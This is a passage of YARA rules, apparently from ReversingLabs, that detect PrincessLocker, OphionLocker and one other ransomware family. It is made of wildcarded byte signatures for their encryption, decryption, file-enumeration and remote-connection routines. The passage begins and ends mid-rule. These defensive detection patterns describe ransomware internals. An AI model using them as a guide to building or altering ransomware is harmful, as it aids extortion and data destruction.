15 ?? ?? ?? ?? 8B 4D ?? 83 CA - ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 8B 75 ?? 39 75 ?? 73 0A 5F 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 47 ?? 33 D2 89 45 - ?? 8B 47 ?? 85 F6 74 2A 8B 4D ?? 8B 7D ?? 8B DE 2B F9 8B F0 8D 64 24 ?? 8A 04 0F 32 04 32 8D 49 ?? 88 41 ?? 8D 42 ?? 33 - D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5F 8B C6 5E 5B 5D C2 - } - $decrypt_data_3 = { - 55 8B EC 53 8B D9 83 3B ?? 77 56 56 8B 75 ?? 39 75 ?? 73 09 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 45 ?? 57 8B 7D ?? 3B F8 74 0B - 56 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 0F B6 45 ?? 57 6A ?? 50 6A ?? FF 73 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? - 83 CA ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 83 C8 ?? 5B 5D C2 - } - $decrypt_strings_1 = { - 55 8B EC 53 56 8B D9 8B F2 57 33 C9 33 FF 2B DE 8B 45 ?? 8D 14 31 8A 04 07 02 C1 32 04 13 88 02 8D 47 ?? 33 D2 F7 75 ?? - 8B FA F6 C1 ?? 75 0B 8B C1 D1 E8 66 83 3C 46 ?? 74 03 41 EB D3 D1 E9 5F 5E 5B 8D 41 ?? 5D C3 - } - $decrypt_strings_2 = { - 55 8B EC 53 56 8B D9 57 8B F2 33 C9 33 FF 2B DE 8B 45 ?? 8D 14 31 8A 04 07 02 C1 32 04 13 88 02 8D 47 ?? 33 D2 F7 75 ?? - 8B FA F6 C1 ?? 75 0B 8B C1 D1 E8 66 83 3C 46 ?? 74 03 41 EB D3 5F D1 E9 5E 8D 41 ?? 5B 5D C3 - } - $decrypt_1 = { - A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C B7 00 00 00 33 D2 8B 0C 95 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0C - 95 ?? ?? ?? ?? 8B C1 D1 E9 83 E0 ?? 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 89 0C 95 ?? ?? ?? ?? 42 81 FA ?? ?? ?? ?? - 7C C0 81 FA ?? ?? ?? ?? 7D 39 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 81 E1 ?? ?? ?? ?? 33 0E 8B C1 D1 E9 83 E0 ?? 8B 04 - 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 06 83 C6 ?? 81 FE ?? ?? ?? ?? 7C D0 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 - E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 D1 E9 83 E0 ?? 33 0C 85 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B - 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 - ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3 - } - $decrypt_2 = { - A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C C7 00 00 00 33 D2 EB 0C 8D A4 24 ?? ?? ?? ?? EB 03 8D 49 ?? 8B 0C 95 ?? ?? ?? ?? 33 - 0C 95 ?? ?? ?? ?? 42 81 E1 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? - ?? 89 0C 95 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 7C C0 81 FA ?? ?? ?? ?? 7D 3B 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 83 C6 ?? - 81 E1 ?? ?? ?? ?? 33 4E ?? 8B C1 83 E0 ?? D1 E9 8B 04 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 46 ?? 81 FE ?? ?? ?? ?? - 7C CE 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? - ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ?? - ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3 - } - $decrypt_3 = { - A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C C7 00 00 00 33 D2 EB 0C 8D A4 24 ?? ?? ?? ?? EB 03 8D 49 ?? 8B 0C 95 ?? ?? ?? ?? 33 - 0C 95 ?? ?? ?? ?? 42 81 E1 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? - ?? 89 0C 95 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 7C C0 81 FA ?? ?? ?? ?? 7D 3B 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 83 C6 ?? - 81 E1 ?? ?? ?? ?? 33 4E ?? 8B C1 83 E0 ?? D1 E9 8B 04 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 46 ?? 81 FE ?? ?? ?? ?? - 7C CE 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? - ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ?? - ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3 - } - $entrypoint_all = { - 83 EC ?? E8 ?? ?? ?? ?? 50 FF 15 - } - - condition: - uint16( 0 ) == 0x5A4D and ( ( ( $file_loop_1 and $encrypt_data_1 and $decrypt_data_1 and $decrypt_strings_1 and $decrypt_1 ) or ( $file_loop_2 and $encrypt_data_2 and $decrypt_data_2 and $decrypt_strings_2 and $decrypt_2 ) or ( $file_loop_3 and $encrypt_data_3 and $decrypt_data_3 and $decrypt_3 ) ) and ( $entrypoint_all at pe.entry_point ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Princesslocker : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects PrincessLocker ransomware." - author = "ReversingLabs" - id = "b76ef137-aa0b-5fd3-9876-2459cb6535ff" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.PrincessLocker.yara#L1-L92" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5be4ca3bd0b0afed1d2f3a59e2951d74a8de94c5a4d5a2c6cc29add49eab9ec0" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "PrincessLocker" - tc_detection_factor = 5 - importance = 25 - - strings: - $encrypt_files = { - 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 - ?? 50 53 FF D7 6A ?? FF B5 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? - FF B5 ?? ?? ?? ?? FF D6 85 C0 75 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 85 C0 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? - 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 53 FF D7 68 ?? ?? ?? - ?? 8D 4D ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 89 9D ?? ?? ?? ?? 85 DB 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? A1 ?? ?? - ?? ?? 8B 30 89 B5 ?? ?? ?? ?? 3B F0 0F 84 ?? ?? ?? ?? 33 C9 C6 45 ?? ?? 6A ?? 51 8D - 46 ?? 66 89 8D ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? - ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? - 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 FF 75 ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? C6 45 ?? ?? 8B CC - 33 C0 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 50 66 89 01 8D 85 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? - C3 C7 45 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 - 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? - 68 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D BD ?? ?? - ?? ?? 6A ?? 6A ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 83 BD - ?? ?? ?? ?? ?? 6A ?? 0F 43 BD ?? ?? ?? ?? 6A ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? - ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 8B F8 83 FF - ?? 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? - ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 85 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 48 39 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? - 0F B6 C9 0F 46 C8 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 0F B6 C1 6A ?? 50 6A ?? FF - B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 FF 15 - } - $remote_connection_1 = { - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 84 DB 0F 85 ?? ?? ?? - ?? 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? C7 45 ?? ?? - ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8B F0 8D 55 ?? C6 45 ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 56 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 - } - $remote_connection_2 = { - BA ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 66 C7 45 ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 55 ?? C6 45 - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 - 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 8B D0 C6 45 ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 53 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? - ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8 - } - - condition: - uint16( 0 ) == 0x5A4D and $encrypt_files and $remote_connection_1 and $remote_connection_2 -} -rule REVERSINGLABS_Win32_Ransomware_Ophionlocker : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects OphionLocker ransomware." - author = "ReversingLabs" - id = "75335749-66bd-539e-92b3-dd92c0b332d8" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.OphionLocker.yara#L1-L105" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3c54a948a6a45ec5f5bc32fbbdbc8822f402b1332e9109b20b90635464dbe2ac" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "OphionLocker" - tc_detection_factor = 5 - importance = 25 - - strings: - $ol_do_filetypes_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 57 33 DB 53 89 5D ?? 53 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 89 45 ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - } - $ol_do_filetypes_2 = { - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? FF 75 ?? 8D 4D ?? 89 5D ?? 50 - 8D 85 ?? ?? ?? ?? 89 5D ?? 50 53 89 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 - ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 89 65 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 8D 75 ?? 50 E8 ?? ?? - ?? ?? 8B CE C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 58 89 45 ?? 89 5D ?? 88 5D ?? 89 45 ?? 89 - 5D ?? 88 5D ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 8B 39 E9 00 01 00 00 8B 77 ?? - 8D 47 ?? 89 45 ?? 3B 77 ?? 0F 84 EC 00 00 00 8B F8 68 ?? ?? ?? ?? 8B D7 8D 4D ?? E8 ?? ?? ?? ?? 56 8B D0 C6 45 ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 50 8D 4D ?? E8 ?? ?? ?? ?? 53 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 6A ?? 8D 4D - } - $ol_do_filetypes_3 = { - ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? - 89 65 ?? 8D 45 ?? 83 EC ?? 8B CC 50 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? - 81 C4 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 53 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 89 65 ?? 50 E8 ?? - ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 83 C4 ?? 3B 77 ?? 0F - 85 1C FF FF FF 8B 4D ?? 8B 7D ?? 8B 3F 89 7D ?? 3B F9 0F 85 F5 FE FF FF 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 - ?? ?? 8D 85 ?? ?? ?? ?? 89 65 ?? 8B CC BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC E8 ?? ?? ?? ?? C6 45 - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B - CC E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 33 F6 8D 8D - ?? ?? ?? ?? 53 46 56 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 53 56 8D 4D ?? E8 ?? ?? ?? ?? 53 56 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 53 56 8D 4D ?? E8 ?? ?? - ?? ?? 8B 4D ?? 5F 5E 64 89 0D ?? ?? ?? ?? 5B 8B E5 5D C3 - } - $ol_ecies_key_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 57 8B F9 33 DB 89 5D ?? 8D 8D ?? ?? ?? ?? 89 7D ?? 89 5D ?? E8 ?? - ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 46 8D 8D ?? ?? ?? ?? 50 BA ?? ?? ?? ?? 89 75 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B - CC 8B D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 56 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? - ?? ?? BE ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 50 56 FF 75 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 85 C0 0F 85 40 03 00 00 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 51 - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B B4 05 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 50 8B 85 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 FF 56 ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 53 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? BB ?? - ?? ?? ?? 8D 4D ?? 53 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 83 7D ?? ?? 8D 4D ?? 8B F0 - 0F 43 4D ?? 51 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 95 ?? ?? ?? ?? 8B 06 52 8B 48 ?? 03 CE 8B 01 FF 50 ?? - C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 0D 8B 01 6A ?? 8B 40 ?? 03 C8 8B 01 FF 10 33 F6 C6 45 ?? ?? 56 6A ?? 8D 4D ?? E8 - ?? ?? ?? ?? 83 EC ?? 8B CC 53 E8 ?? ?? ?? 